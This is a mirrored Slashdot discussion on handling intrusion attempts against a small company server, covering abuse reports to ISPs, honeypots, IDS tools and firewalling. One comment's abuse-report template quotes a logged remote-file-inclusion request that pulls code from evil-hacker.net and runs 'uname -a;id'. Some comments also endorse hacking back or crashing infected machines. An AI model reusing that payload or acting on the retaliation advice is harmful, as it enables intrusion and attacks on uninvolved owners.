Slashdot Mirror


Dealing with Intruders?

drakyri asks: "I've been running a server for a small company for a few months. Recently, the number of attempted intrusions has jumped from about one every week to several per day - and these are only the really obvious attempts, like idiots who try to log in as root from the outside. The problem is that I'm not sure what to do about this. I've got their IP addresses and can usually tracert their ISP's - is there an accepted type of letter to send them without seeming like one of the corporate cease-and-desist gnomes?"

67 of 656 comments (clear)

  1. Easy by Anonymous Coward · · Score: 5, Insightful

    ignore them.

    Unless they use a lot of bandwidth, that is the right decission to make.

    1. Re:Easy by Phil+Karn · · Score: 4, Insightful
      Agreed. Just ignore them.

      These things are far too common to get worked up about, and they still consume an infinitesmal fraction of my link capacity. I long ago stopped caring about unsuccessful intrusion attempts. I only care about the successful ones, and to help prevent those I apply all the usual safeguards.

  2. DMCA by Amiga+Lover · · Score: 4, Funny

    Use the DMCA to... I don't know, scare them or something. Mention RIAA and MPAA to their ISPs too.

    1. Re:DMCA by Anonymous Coward · · Score: 4, Funny

      Tisk tisk, using the DMCA for something usefull is unpatriotic.

  3. Skript kiddiez by robogun · · Score: 4, Funny

    I haven't seen any similar increase in activity. Does your firm have enemies? For instance, does your first name rhyme with Carl?

  4. Abuse@ by craigske · · Score: 5, Informative

    The accepted way is to send an email to abuse@ or to the abuse contact listed by ARIN for the netblock you are trying to lart.

    http://www.arin.net
    or lookup the RADB abuse contact
    http://www.dnsstuff.org

    1. Re:Abuse@ by AllUsernamesAreGone · · Score: 4, Interesting

      At least in the UK (where I have themost experience fo computer laws), attempting to gain unauthorised access to a machine is a criminal offense under the Computer Misuse Act 1990, even conspiracy to do it is an offense. This is true whether you are a UK national or not - if you attack a machine in the UK and a report is passed to the police and the police investigation identifies you then the minute you set foot on British soil you could be arrested and prosecuted under the act (significant offenses may even result in extradition). I know several other countries have similar laws, I expect the US has as well.

  5. Create a honeypot by JVert · · Score: 4, Insightful

    If you seem to be getting it from the same group of people make a honeypot but have some obvious hints once they get in, leave very little on the server and put the logs of their activity in an obvious place. Just be sure to isolate that machine from the rest of the network so if they do end up owning it they got no further then their failed attempt at your real machines.

    1. Re:Create a honeypot by welshwaterloo · · Score: 5, Interesting

      IMHO - If you're not completely sure your network is 101% secure, or you don't have several free hours a day it would be a bad idea to drop a honeypot anywhere near your network.

      Think about it - it's a slap in the face to the would-be hacker.. It's like you're leading him on, then saying "Ner Ner!" when he breaks into the pot.
      If your hacker is serious, he's gonna be really pissed about this.

      Secure your network & keep it secure - no need to stir 'em up.

  6. I tried to log in as root.. by Anonymous Coward · · Score: 5, Funny

    on my University's network more than once. I ran Linux and I got into the habit of logging in as root, and sometimes I'd try to log in without thinking just after starting a telnet session. I didn't receive any notice from the U, but in this post-9/11 hellmouth, I'm sure I'd have been reported to the FBI as a potential terrorist.

    1. Re:I tried to log in as root.. by meringuoid · · Score: 4, Insightful
      I ran Linux and I got into the habit of logging in as root,

      Unwise.

      and sometimes I'd try to log in without thinking just after starting a telnet session.

      Over telnet? Log in as root over telnet? AAAARRRGGGHHH!

      --
      Real Daleks don't climb stairs - they level the building.
    2. Re:I tried to log in as root.. by Lord+Kano · · Score: 5, Funny

      Only if you are of arabic race or have an arabic name.

      Arabic isn't a race. Arabs, technically, are caucasians. They're just curly haired, tanned white people. Not entirely unlike Italians.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
  7. Abuse by martingunnarsson · · Score: 5, Insightful

    When I had this problem I simply sent a mail to the ISP:s abuse-people. Most ISP has an e-mail address like abuse@theisp.com. Then they can send the guy a warning or whatever.

    --
    Martin
  8. Very Easy by kunjan1029 · · Score: 5, Insightful

    intrusion attempt >> /dev/null

    ignore it. forget it. script kiddiz...

    1. Re:Very Easy by TeVi · · Score: 5, Insightful

      (mod parent up!)

      Yup, just make sure your box is secure.

      Intrusion attempts happen unfortunately, with all the viruses, worms, etc. Just make sure your box won't get caught.

    2. Re:Very Easy by bstone · · Score: 5, Insightful

      Why not stop them before they get dangerous. Notify their ISP and get them a warning. Just "letting it go" will only encourage them to continue to keep on trying and learning until they figure out how to break in without being caught. A quick warning from their ISP might be just enough to scare them off, and word of mouth to their friends might help to keep others from thinking it's "cool" to attempt to break into computer systems.

    3. Re:Very Easy by Anonymous Coward · · Score: 5, Insightful

      Do as the good cops do: Arrest if there is enough evidence to lock them up, observe otherwise.

      Nothing encourages a script kiddy more than the feeling of invulnerability which you get from someone admitting that he knows what you're doing but can't do anything about it because you've not broken a law.

    4. Re:Very Easy by BlackHawk-666 · · Score: 5, Informative

      Don't bother, the real crackers are probably usings some lusers box to launch the attack from. You're just warning the person who didn't secure their box, and they're not likely to understand why you are telling them they are attacking your box.

      --
      All those moments will be lost in time, like tears in rain.
    5. Re:Very Easy by jstave · · Score: 5, Insightful

      But isn't that, right there, a good reason to let them know? If it lets someone know that their security has been compromised, they can take action to close the hole.

    6. Re:Very Easy by ishmaelflood · · Score: 4, Insightful

      Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      Sorry, he needs a boot up the arse.

      He doesn't need to be sent to jail, he DOES need to be reminded that we'd rather he stopped being a fuckwit.

    7. Re:Very Easy by jhoffoss · · Score: 4, Insightful
      Unless you break into each zombie manually, dezombify them, and add a readme.txt to the user's desktop, they'll never find out.

      ISPs don't really roll this information back very often, because it just takes them too long, and there's too many.

      It'd be nice if more ISPs were more responsible with this, though. Something like vlan'd users get port scanned/vuln. scanned upon connection, and once passed, they're allowed onto the big bad net. Of course then everyone on /. would complain of privacy concerns...

      --
      Linux: The world's best text-adventure game.
    8. Re:Very Easy by orangesquid · · Score: 4, Insightful

      Not if your car is a webserver. That's like having a car with a big sign that says "LOOK IN THE WINDOWS! THERE'S COOL STUFF INSIDE THIS CAR!" Of course some people are bound to try the handle, at least to get a closer look. I attempt anonymous ftp logins and try /pub URLs on webservers all the time, as well as ascending to the parent directory and such. Sometimes I find some really neat stuff that way. I'm not about to attempt a root login, but, it's human nature to explore and try things which may or may not be OK, unless there's obvious immediate harm. If all humans were extremely cautious and thought hard about consequences and ethics, the US would not exist, and the natives would still be abundant.

      --
      --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
    9. Re:Very Easy by Sgt+York · · Score: 5, Insightful
      He (the skiddiot case) may need it, but no one can give him that under current law. So, you observe and wait.

      To run with the analogy, if a cop sees a kid going down a row of cars testing door handles, he won't just run out and arrest him. The cop will wait until the kid comes across an unlocked door, rummages through the car, and takes something. Then the cop will arrest him. The cop waits because until the kid takes something, it's not a clear cut case. Sure, the kid is doing wrong, but the cop doesn't have enough ammo to really get him. Some people might take a "no harm, no foul" attitude.

      If I was 12 and got caught doing something dumb like trying to log in as root like that, I'd just counter with the defense that I got the IP address wrong. "Oh, that waas your server? My buddies must have been playing a joke on me...he said that was his machine." I'd most likely get off, and walk away with a feeling that I was untouchable on the net. Wait until you actually have something to scare them with, then nail 'em.

      --

      There is a reason for everything. Sometimes that reason just sucks.

    10. Re:Very Easy by RovingSlug · · Score: 4, Insightful
      So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      I grew up in conservative Oklahoma. As a teenage kid, I was walking across a large parking lot with my friend and his girlfriend to a movie theater. My friend had long hair, so that probably tipped us off as obvious hoodlums, justifying some person calling the police to report "suspicious activity" of some kids messing with cars.

      Maybe if we had been doing anything more than walking it would have been a good lesson. As it was, it just taught me the world definitely has scared, intolerant jackasses.

      Before advocating low tolerance and hair-trigger fingers, consider the sociecty you're creating for everyone, not just the criminals and would-be criminals.

    11. Re:Very Easy by Chazman · · Score: 5, Interesting
      Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      No. Trying a door handle does not imply mal-intent. It's the response when a door handle actually works that matters. I'll give you an anecdote. I was arriving at a semi-nice restaurant in a somewhat out of the way area of an otherwise nice town. Parking was scarce, so I had to park on a tiny unlit side-street. Walking toward the restaurant from my car, I saw another car on the street with its dome light on. It was obvious from a reasonable distance that there was no one in the car, but there was a pocketbook left on the front seat. Being a good sumeritan, I said "that won't do -- the pocketbook will get stolen, and the dome light will drain the battery". So I tried the door handle. To my surprise, it opened. I quickly turned to dome light off, closed the door again, and walked away. Turns out this was a sting. There had been a bunch of thefts from cars in the area recently, and this being a good town, the cops had enough time to set up a honeypot to try to catch the perp. They were quite chagrined to find someone go for the bait for an entirely altruistic reason -- to prevent a stranger from becoming the dual victim of a theft and a dead battery. Maybe I took a risk by trying that door handle and attempting to do some good. But how would you know if you deign to put a boot up my arse the instant I touch the doorhandle?

      Perhaps the analogy doesn't port over all that well to scans of TCP ports, but it wasn't I who began that analogy; I'm just answering it.

      --
      -----Chaz
  9. Maybe set up a honeypot for a bit by Mal-2 · · Score: 5, Insightful

    If you give them a more attractive target for a while, you may find there really aren't all that many attackers left to go after the systems that matter. Not only that, but it would be considerably easier to set up such a system to log their attack techniques, since it isn't actually doing anything. Finally, if they do break through, who cares? Just re-image the drive and let them start over. If they manage to repeat it, you now have a known weakness you can correct.

    Mal-2

    --
    How is the Riemann zeta function like Trump rallies? Both have an endless number of trivial zeros.
  10. Snort + Guardian by UltiSkeeter · · Score: 4, Informative

    These two will detect most automatic attempts and then add the IP's to a drop list on your Linux firewall. www.snort.org. Guardian is listed under 'other tools'

  11. Not a cease-n-desist gnome... by AngstAndGuitar · · Score: 5, Funny

    You might consider sending a handwiten letter and use your own name, that would seem a bit more human. Also, most large companies will send polite-but-firm letters, so just threaten bodily harm to them and their pets, that should sound pretty un-corporate. I suppose only the first sugesstion is really a good one, but I like the second one more, so I'm not going to remove it from my comment.

    --
    Less look fast, more go fast.
  12. Well... by MrWorf · · Score: 5, Informative

    I always write a really "nice" letter to the ISP of the intruder, where I explain the problem, and that it is causing my customers trouble and that it eats up valuable bandwidth. I ask them to take action, and if not, that I'll have to proceed further (never been needed once). I send the email from the admin account, sign it with my name + admin at my system and then I attach the logs pertaining the intrusion attempt.

    So far, all of these "cease and desist" letters has resulted in action on the ISPs part, and in 50% of the cases, their admins write me back and give me feedback on the problem.

    Ofcourse, I don't do this for every attempt (all depending on my mood ... atleast nowadays), mostly for the more serious attempts (doing multiple attempts, different attempts, etc).

    The worst (or craziest?) attempt yet was by some nut who portscanned the system, port by port from start to finish. I actaully managed to get hold of the owner of the computer system that was scanning me and phoned him. Quite a hilarious experience. Needless to say, the portscanning stopped :)

    1. Re:Well... by zoom · · Score: 4, Informative

      I've had similar experiences. I've noticed several SSH attempts on my server recently - just a personal server at home. I've written to the abuse addresses found by running WHOIS and politely informed the ISP that there was an intrusion attempt and could they please inform the user that we are not a public service.
      Many times the ISP has responded and usually their customer has a zombie box.
      Always include a log if possible so they know the time and the IP-address. Remember to tell them what timezone the timestamps are from.
      WHOIS links
      http://ws.arin.net/cgi-bin/whois.pl
      http:/ /www.ripe.net/db/whois/whois.html
      http://www.apni c.net/apnic-bin/whois.pl

  13. Yes, there are several good ways. by arcade · · Score: 5, Informative

    Personally I tend to ignore the scans for ssh and so forth, as they're just SYN-packets and doesn't consume too much of my resources. Call me a lazy/non-caring bastard. However, it would surely be nice to send off a message to the ISP, as the machines the scans are originating from are probably cracked too.

    I tend to report viruses. I grep my logs daily for viruses from various norwegian ISPs, to the mailserver I admin for my company. During the last five months I've sent daily virus reports to the largest ISP in norway, and they tend to reply within one business day - having notified their customer about the infection. If the customer gets several 'heads up' messages from the ISP without removing the virus, they get their port 25 access filtered until they've confirmed that they've removed the virus.

    I tend to send emails such as this.

    "
    Hi there.

    I've got several viruses from your customers today, and would appreciate it if you could notify your customers about the virus infections they probably have.

    Here are the relevant snippets from my logs:

    Virus: Netsky.B
    Received: from at

    Virus: Bagle.C
    Received: from at

    All timestamps on the server are NTP-sync'ed against .

    Thanks for your time
    "

    Recently I've also included a more personalized

    "Oh, and I have to commend your ISPs efficiency, as since march - you've managed to reduce the number of virus sending users to us from about per day, to this .. it's days since the last virus from you! Keep up the good work!"

    You could probably just adapt what I'm writing to something saying that a customer of theirs probably has been cracked, and that they are currently scanning for .. and so forth.

    If it's the actual cracker that's stupid enough to use his own computer, he'll get scared enough if they contact him telling him that his computers has been abused by others to scan people -- and will probably quit doing it. :)

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
  14. Do what Mr Burns does... by Anonymous Coward · · Score: 5, Funny

    Nothing beats the personal touch of hired goons...

  15. at some level you have to ignore it.... by cbdavis · · Score: 5, Informative

    or you'll spend half your time at work writing abuse letters. My logs at work show a constant barrage of windows attacks ( yes, code red is still there), 137 scans, numerous login hacks for any number of OS's, port scans that increment by 1 each time, etc. Sometimes it slows down. I am beginning to just consider it background noise. Just the cost of doing business on the web. As long as the probes arent massive or working, I just note and ignore. I only have so much time for this - it keeps me from downloading all that porn!

  16. Ignore it? by Inominate · · Score: 4, Informative

    This kind of stuff is all over the place. Odds are most of these are automated worms and similar crap. Unless it's really a concerted attack on your machines, as opposed to random scanning, it's not worth the effort to do anything about it except maybe firewall the IP.

  17. Re:Your firewall.... by arcade · · Score: 5, Insightful

    Why?

    If they are just sending of SYN-requests, then who cares? They'll get a few RST-responses. Having your firewall bogged down by rules just to ignore some dialup user that'll probably have switched IPs the next day will just decrease others chances of contacting you.

    Secure your network. Have a nice firewall with okay rules, but there should be no need to add individual IPs to your ruleset all the time -- that just increases complexity and maintainability.

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
  18. Re:Your firewall.... by Anonymous Coward · · Score: 4, Interesting

    Yeah cause, there's no such thing as Dynamic IP addresses.

    Better advice would be to only allow login connections (eg sshd) from known IP addresses.

    Other measures depends on what services you are trying to secure, but make sure you've run through the http://www.cisecurity.com/ lvl 1 benchmarks on an Internet connected machine (at the very least run the scoring tool).

  19. I had someone trying to brute force ssh.. by dan+dan+the+dna+man · · Score: 4, Insightful
    From a server in Brasil yesterday. I never bother reporting these things normally, but the compromised machine (ie originating the attack) was a webserver and had some "info@" addresses. I wrote, apologising for my lack of Portuguese, and an hour later had a very grateful email from the sysadmin. This is going to encourage me to report them in future.


    Basically I just gave a quick digest of the log clearly showing their IP and the attack in progress, and a note to the effect that I believed their machine had been compromised (in as plain English as I could muster) - and got the desired result.


    I like the fact that there's some script kiddie out there cursing that one of his "boxen" is no longer.. ;)

    --
    I don't read your sig, why do you read mine?
  20. Re:Your firewall.... by jhunsake · · Score: 4, Insightful

    Better yet, block everything and whitelist your shit.

  21. Call their parents by Monkelectric · · Score: 5, Funny

    True story: About 8 years some friends and I were getting o3ned DAILY by a hacker. One of these friends had a buddy in IBM's security division, who somehow got us a name and phone # of our hacker. We felt like asses when we found out we were getting beat down by a 15 years old. But we called his dad, explained what was going on, and that we knew where he lived. Problem SOLVED :)

    --

    Religion is a gateway psychosis. -- Dave Foley

  22. My basic template to ISPs by BrynM · · Score: 4, Interesting
    Please note that this is innefectual to send to some ISPs. You won't always get a response. Look everything up first! Go look up who owns an IP at ARIN and who has registered domain names at a lot of different places. Think hard before you send unless you write something automated - You may not want to send anything to someone who is actually the kiddie that attacked you. The result of that mistake is annoying. Trust me.

    Due to abuse, the following IP address(s) have been banned from accessing
    mydomain.com and it's associated services. The abuse is detailed as
    follows:

    IP(s) Banned: 216.nnn.225.nn

    Owner:
    OrgName: SOME ISP
    Address: 2 Hacker Home Street
    City: Isabel
    StateProv: CA
    PostalCode: 01120
    Country: US
    Admin Address: noc@someisp.net

    Reason:
    Malformed URL - Attempted PHP Exploit
    "216.nnn.225.nn - - [11/Aug/2004:10:03:03 -0700] "GET
    /themes/default/theme.php?THEME_DIR=http://w ww.evil-hacker.
    net/1.jpg?&cmd=uname%20-a;id; HTTP/1.0" 400 352"

    Severity: 5

    Remaining bans until entire address block banned: 3

    If you have any questions or need further explanation, please contact
    admin@mydomain.com.

    You
    Your Title
    Your Contact Info
    --
    US Democracy:The best person for the job (among These pre-selected choices...)
  23. Hack them back! by Numen · · Score: 4, Funny

    Whatever they're doing to you have a go back at them... chances are their system isn't as secure as yours.

    At the very least it's more fun than writting an e-mail!

  24. Re:Your firewall.... by arcade · · Score: 5, Insightful

    Actually, most of the machines attacking me recently have been compromised static-ip servers at various hosting providers.

    It depends on what kind of 'attack' we're talking about, of course. If it's just an automated attack which scans large ranges of IP-addresses for common vulnerabilities which you've patched against, there really isn't any need to add them to your firewall ruleset, unless they're pretty invasive.

    By invasive I mean that they grope and poke, and grope and poke. If it's just a couple of packets - why care at all? You can always fire off an email to the hosting provider, but adding them to your firewall is just .. not necessary.

    Take the recent increase in SSH scans for the 'test' and 'guest' accounts without password, or whatever it was one came into agreement that it was.. if you've got a patched SSH daemon, why care? Let them scan - and get rejected. Why bog down the firewall with hundreds, if not thousands, of extra matching rules?

    If it's likely that you've got vulnerabile machines on that port, block it entirely - or just allow it from specific IPs. Playing whack-a-mole against scanners are just a waste of time.

    Patch the system, have a good general firewall ruleset that covers what needs to be covered - and let the scanners that isn't actually continously filling your log files just scan on.

    I've had to block _one_ abusive scanner during the last year. It was someone scanning for open http-proxies from Israel. They were hitting my machines several times per seconds, filling my apache logs with relay-attempts to mailservers. Which was quite frankly annoying.

    Those scans were from four IP's within the same subnet, and their ISP didn't care. I got the ISP null routed due to their customers filling my logs (and my company doesn't do business in Israel at the moment, so it wasn't a loss anyways).

    A few packets now and then on the other hand.. playing whack-a-mole with such is just a waste of time.

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
  25. normal for this time of year by phek · · Score: 5, Funny

    It's really normal to notice a huge increase in attacks this time of year. With the passing of defcon and black hat this month, a lot of new security vunerabilities have been released, and all of the 'script kiddies' are eager to try them out. The best thing to do is make sure all your software is up to date, and get familiar with the new vunerabilities that are out so you can protect yourself.

    As far as reporting them, you could try all day and not be able to report all of them, and even if you did, they're most likely attacking from someone else's vunerable machine. The only thing you can really do is watch out for anyone who's aggressivly attacking you (i.e. one person who's running lots of attacks on you trying desperately to break into your machine at any cost), and report those ones, or if you can find a way to contact that person, tell them to stop before you report them to their isp and/or authorities, this will usually scare most people off.

    Once you do start paying some decent attention to security releases, a lot of these stupid things people try won't surprise you, like the ssh root attempt is because some tool came out recently that just scans netblocks for anyone running ssh and try's logging in as two different users with no password, root being one of them. If your not familiar with where to find security releases, here's some good places to start:

    packetstorm security
    Security Focus

  26. Somewhat offtopic, but how do people deal with DOS by bretharder · · Score: 5, Interesting

    Somewhat offtopic, but how do people deal with DOS attacks?
    I've had a person harrasing the forums at a website that I host.
    I banned by IP and then he started using proxys,
    so I had to write a script to ban his IP each time he logged in,
    of course then he started creating new accounts;
    so I had to change the forum registration to one account per unique email address.
    And then he tried to DOS the site by visiting the site and locking down his F5 key.
    (He accually confessed this to me in IRC; he had 4 other people do this with him.)
    I sent Comcast (his isp) the IRC logs & the network monitor logs.
    They sent me a generic response saying "blah blah blah.. this is an automated response".
    And thats it.
    So how do other /.ers deal with situations like this?
    It's a personal website, and I don't have the funds to hire a lawyer.
    I've banned his IP and ~6000 proxy IPs, but he still keeps getting through.

  27. Re:Corporate Gnome by JWSmythe · · Score: 4, Interesting


    No shit.. :)

    I've received some really nasty Emails over the years from winners who just installed some firewall on their home machine, and wonder why we're sending packets to him from our port 80 to some high port on his machine. They're all demanding that we stop or they'll sue, blah, blah, blah.

    I write a real friendly note back saying "sir, you were visiting a porn site at http://example.com. from which you detected the data coming back to you exactly as you requested. yada, yada, yada"

    Once in a while our provider will get a new person in their abuse department, and forward those over. I kindly remind them to go back to their supervisor and ask them exactly what this traffic would mean. Then I write them a friendly letter explaining the basics of the Internet. :)

    They are generally good about sending us only real problems, which are usually about sublet IP blocks. I either pass it on to their sales rep, or call them myself. Most customers I've delt with are very friendly about it.

    We did have a federal agent show up in our office one day, about a hacking attempt from one of our networks (a sublet line). I called the sales rep, got the customer on the line, and they were already aware of it. It was an old unpatched machine, that they had taken offline a few days prior because they had already found it was broken into. They were still examining it, and offered to hold onto the drive for the investivator. I really like good customers.

    --
    Serious? Seriousness is well above my pay grade.
  28. Complaining may have a boomerang effect by hankwang · · Score: 5, Insightful
    Let me tell you a true story.

    Back in January 1999 when everybody used telnet for remote logins, several computers in our department were root-compromised and had a rootkit installed (password sniffer, backdoors, and patched versions of ps, ls, and such to prevent being detected). We noticed some strange activities but had no clue what was going on, thinking that other people were trying to intrude us, while actually the cracker used our computers to intrude other people. It felt a bit like being in a thriller, where we step by step discovered what was going on, culminating in a session where we witnessed live how the cracker was logged in on one computer, from which he tried logging in on a second computer where we already had changed all passwords. We contacted the internet provider (he was behind an IP-masquerading firewall) and an university where he apparently illegally had plugged in a computer on the network and of course the cracker had been reading a number of emails before we finally locked down our systems.

    Since then, our computers got enormous attention from crackers, while suspicious messages appeared much more seldomly in other people's log files. This cracker was severely pissed off. We were compromised several times after that. Once, the presence of a rootkit revealed itself through the fact that an ls option wasn't working anymore. We repaired the situation and removed telnet/ftp from the computer (they had suspicious log file mesages), not knowing that it was the outdated sshd that caused the trouble. After the weekend, the owner of the computer came to me complaining that he couldn't log in. It turned out that the intruder wiped his whole home directory, which had no recent back-up! I can not believe that a cracker does something like that for any other reason than pure revenge.

    These incidents have taught me the value of staying up-to-date. What I wanted to tell here is: don't let the cracker know that it was you who caused them trouble or you might get repercussions. Oh, and note that I am not a professional system administrator; I was a PhD student who happened to know a bit more about Linux than most others.

  29. Re:Somewhat offtopic, but how do people deal with by Vo0k · · Score: 5, Informative

    Look up HTB on the net (Heuristic Token Bucket) - a firewall rule that limits network abuse while not obstructing normal network usage - every IP gets a pool of "tokens". One token is removed from the pool when a packet is sent, packets won't be sent as long as the pool is empty, but it gets refilled at constant, slow rate, until it's "full" again. So a user can download, say, 500K in one rapid burst at maximum network capacity, then his connection bandwidth goes down to some 5K. If he waits 100s he will be able to get 500K in similar burst again. This way, one page loads really fast. User reads the page, goes back, loads another one (minute later) very fast again. A loser who keeps reloading, exceeds his 500K bucket content in 2-3 reloads and then gets a constant drip of 5K upstream, hardly disturbing the others.

    --
    Anagram("United States of America") == "Dine out, taste a Mac, fries"
  30. Remote logins? Are you insane? by smoon · · Score: 4, Informative

    Don't you use a firewall? You can't attempt to log in remotely if you're blocking the typical remote access ports -- SSH, telnet, etc.

    So you've got a machine sitting on the internet, home to a million and one active worms, and are surprised that it gets scanned constantly?

    Don't bother with the abuse reports -- more than likely it's just worm activity from computers whose clueless owners don't realize have been infected. A more recent one attempts SSH logins, which may be what you're seeing.

    It it was a _real_ crack attempt then you:
    1: Wouldn't know about it.
    2: Would be unable to pin it down. It would be bounced through several victim networks, so your ability to see where it's "coming from" is really just the last victim machine in the chain.

    Third possibility is script kiddies, in which case you would know about it and where they were coming from, but they would have no chance of success unless you are unwilling to keep up on patches and follow basic security practices like decent passwords.

    Best would be to close off remote-login ports altogether. If you need remote login then block for all but the address range you'd be coming from. If you need remote access from random locations, then at least consider using a heavily locked down system (e.g.: OpenBSD) or work _really hard_ to get your systems firewall/logging/etc. set up well.

    One OpenBSD/pf feature you might be interested in (also available from other systems) is the ability to tie Snort into the pf ruleset so that remote scanners, once detected, are ignored.

    --
    "But actually trying to use m4 as a general-purpose langage would be deeply perverse" --ESR
  31. Re:Ignoring it == raising criminals by BlackHawk-666 · · Score: 4, Interesting
    If you don't want to ignore them, but rather take some action then you can combine tripwire (IIRC) with a shell action that firewalls their IP address. I used to do this for my home machine, but it's not really recommended for business machines. Here's what I did:

    Set up tripwire to detect incomming conenctions to 139, 1433 and other ports that people shouldn't be attempting to reach.

    Any attempts to open got a IPTABLES rule added against their IP

    Every couple of weeks I'd clear it down and let it build up again

    There would be better ways to do this, but it was mainly for basic home security and I wasn't worried about blocking whole companies (because of NAT/Proxy) because of one dick in the place. YMMV.

    --
    All those moments will be lost in time, like tears in rain.
  32. This is more fun! by Ch_Omega · · Score: 4, Informative

    In my opinon, Tom Hudson's way of dealing with these critters, is far more entertaining, than just ignoring them.

    1. Re:This is more fun! by nahdude812 · · Score: 4, Informative

      A lot of these exploits are typically ancient worms that someone has managed to not clean off their computer. If it's not an ancient worm, it's probably a zomibe in someone's hoarde.

      The problem with these two (most common) scenarios that the person who owns the computer isn't the real perpetrator, and the ability to track the perp down requires much more work than a simple whois lookup of the offending IP.

      Most attacks you see are going to be automated and launched on a wide scale. There are thousands and thousands of compromised Windows machines out on the net that are being used by people such as spammers and crackers for their dirty work.

      Lock your box down.
      Don't allow root to log in on SSH.
      Lock SSH and other sensitive services down to specific IP address blocks if you can. If you can't, investigate port knocking if you can do that. If you can't even go that far, investigate implementing a lockout policy for failed login attempts.

      Unless you see a single host being the source of a large pile of offensive behavior, chances are these are machines in a zombie hoarde. If it is limited to a single IP or a few IP's in a single C class, contact the ISP's abuse department *politely* (remember these are folks like you in jobs like yours, if you go in with guns blazing, they're less likely to help) and provide as much information as you can regarding the nature of the attack. Then firewall off the offending IPs.

      I used to aggressively track intrusion attempts and spam. I had a little PHP/MySQL tool I wrote where I could log these things, dumping in offending logs (or spam source), and it'd extract the culprit IP address, and once a day go through, looking up abuse addresses on whois and mailing a digest of the day's activities for that ISP to them.

      Ultimately I probably got about a 1% response rate from the ISP's (excluding auto-responses). After ~6 months of this, and about 40,000 records in my database, I started some statistical analysis. It turns out that there were no significant outliers for abusive activity from any given ISP (considering the size of that ISP's net blocks). Basically every intrusion attempt was some kind of zombie. There were probably a few by-hand attempts, but these are typically so low profile that there's no easy way to distinguish them from the hoardes.

      Some time later I was the recipient of a DDoS attack. Someone's zombie hoarde decided to repeatedly visit a page on my website that turns out to be a bit resource intensive to generate (my code is open source, so whoever devised this probably knew that). Every day, ~25,000 IP's each requested the same page every 4 minutes (+/- a few seconds I suppose for network latency). 375,000 hits an hour = 9,000,000 bogus hits a day. Day to day this number fluctuated, and the ISP's involved in the attack kept changing. It was obvious to me that whoever was driving the attack wasn't exposing the entire zombie hoarde to me at any given point because of how the ISP's involved kept shifting around. I figured he probably had a script set up to launch X number of zombies every day, and they probably had commands to execute for ~24 hours. The number was always pretty close to 25,000, never over, but usually more than 24,500.

      Ultimately the attack lasted about a month. I figured out a simple way to distinguish the zombie computers from legitimate users based on an error in the request headers, and I could just exit() at the top of my site for those who exhibited this error. I also logged the attempts I blocked, and was left with over 900,000 distinct IP addresses once the attack finally stopped.

      My point in all of that is that there *are* zombie hoardes out there, and it's the zombie hoardes that are most likely to compromise you. There's little you can do about it because getting a single IP from a hoarde firewalled off or cleaned up won't slow down your real attacker who was going to use a different zombie the next day anyhow.

  33. Re:Ignoring it == raising criminals by Anonymous Coward · · Score: 5, Insightful

    Don't scan my ports!


    I fail to see how scanning ports is akin to robbery. Actually a port scan by itself is a completely legitimate activity as it simply is querying what services are available.

    Personally I am the view point that if you have a port open with a service that is easily accessible without a password, or the default password, (like NFS, say) then anybody using it is not in the wrong, as how are they to tell that the service is not intended for the public especially since it is on the PUBLIC internet.

    I mean really, unless an attacker is DoSing your site due to resource issues I don't see how you can really conclude that the actions are malicious.

    I mean some of you guys sound like the ignorant dude that setup an RSS feed and then got pissed when a service used it as intended. The difference with him is that he learned the error of his ways.

    I also fail to see how someone using the word "syber" can run any server safely.

  34. Ignoring it == making the problem worse by SgtChaireBourne · · Score: 4, Interesting
    The network administrator at one site I was at reduced the number of intrusions by more than 1/3 over a 2 month periond and kept it down the whold time she kept the job.

    How? When she found out about attacks and attempted intrusions, she got on the phone with the netblock owner and gave them an earful and followed up until something happened, even if it was only a small improvement. If need be, she reported it to the police and was even able to convince them that crime was an area of their responsibility even if they did not currently have the expertise.

    The attacks dropped off rapidly after a few weeks. And since shed kept notes about who she talked with, when and about what, there was very little runaround. When she started that, it took about 45 minutes per day, but by the end it was down to around 15 on average.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
    1. Re:Ignoring it == making the problem worse by Anonymous Coward · · Score: 5, Funny

      I swear, just like a women to take a technical problem and solving it by nagging someone's ear off

  35. Two things by Xner · · Score: 5, Informative

    1) Tripwire is a file integrity checker. I suppose you mean portsentry or similar. 2) Automatic firewalling a VERY bad idea. Remember that most modern scanning techniques do not require a full TCP connection, and are therefore eminently spoofable. Not imagine someone spoofing a syn scan from the IPs of google.com. BOOM! No more google for you, you just firewalled it off yourself. BOOM! No more slashdot. BOOM! No more quake server. You get the idea.

    --
    Pathman, Free (as in GPL) 3D Pac Man
  36. I agree! by Mold · · Score: 5, Interesting

    Back when I was 13 or so, one of my friends had convinced me that trying something like this would be fun. I was a bit reluctant, but I had some knowledge of Unix and networking, and it did sound like fun.

    We never actually got into anything, but the next day I got an e-mail from one of the companies we had attempted to break into, politely asking me to stop. It scared the shit out of me and I never attempted anything like that again.

    And to be honest, the fact that I'd been caught and asked to stop (nicely!) impressed me far more than any of the hackers out there.

  37. Re:Firewall? by vandan · · Score: 5, Informative

    Yeah I know the gentleman's approach.

    I don't subscribe to it. I look at it like this:

    To drive a car, you need a licence. You have to follow rules. You drive on the correct side of the road. You don't drink and drive. You obey the speed limit. And why do we have to follow the fules? It's because there are other people who also want to use the road, and therefore all drivers have a responsibility to ensure that the safety of others is protected.

    Sounds like common sense, right? Well the same should apply to placing computers on the internet. If you want to have viruses and backdoors and worms etc running on your home PC, then fine. Whatever. But if you put your home PC on the internet and take absolutely no fucking responsibility for what you are doing then you are waiving all rights you have over the the safety of your computer. If your computer now pisses me off, I'll 'smbdie' it off the internet. If you're fine with all the rest of the shit that's infecting your PC, then you don't really have any right to complain about me rebooting it once every 5 minutes. And yes I'm doing everyone a service. Firstly, the computer is on the internet for less time than it otherwise would have been, so there's less chance of others being infected. Also, the idiot who owns the computer will be far more likely to do a complete re-install, or at least get a god-damned virus checker and get Windows up-to-date.

    Do you know how many people come bitching and complaining to me about their PC being rooted, and when I boot it up find that they're running Windows 2000 SP1 and NO virus protection at all? It's not good enough. And the only ways to get them to take responsibility for their computer are:

